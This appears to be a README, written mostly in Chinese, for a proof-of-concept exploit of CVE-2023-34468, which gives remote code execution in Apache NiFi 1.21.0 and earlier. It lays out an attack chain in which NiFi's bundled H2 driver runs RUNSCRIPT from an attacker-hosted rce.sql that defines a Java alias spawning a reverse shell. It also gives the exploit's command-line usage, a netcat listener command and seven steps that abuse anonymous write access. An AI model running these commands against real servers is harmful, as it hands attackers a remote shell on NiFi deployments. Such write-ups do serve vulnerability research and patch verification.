
CVE-2023-34468 的 PoC 漏洞利用 — 通过 Apache NiFi <= 1.21.0 中的 H2 RUNSCRIPT 实现 RCE
通过 H2 数据库 RUNSCRIPT 在 Apache NiFi <= 1.21.0 中实现远程代码执行
Apache NiFi 默认捆绑了 H2 数据库 JAR。DBCPConnectionPool
控制器服务可配置为使用此 H2 驱动。H2 支持 RUNSCRIPT
语句,该语句可从远程 URL 获取并执行 SQL 文件。该 SQL 文件可通过 CREATE ALIAS 定义
任意 Java 代码,并在服务器操作系统上执行。
攻击链:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Software | Version |
|---|
| Apache NiFi | <= 1.21.0 |
| Fixed in | 1.21.1+ |
| Java | Any (bundled) |
requests 库 → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
| Argument | Default | Description |
|---|---|---|
--target | http://NiFi.target.com | 目标 NiFi 基础 URL |
--lhost | 10.10.10.10 | 您的 IP (tun0) |
--lport | 4444 | 反向 shell 监听端口 |
--http-port | 80 | 用于提供 rce.sql 的端口 |
--cleanup | False | 运行后删除创建的工件 |
终端 1 — 监听器:
nc -lvnp 4444
终端 2 — 漏洞利用:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)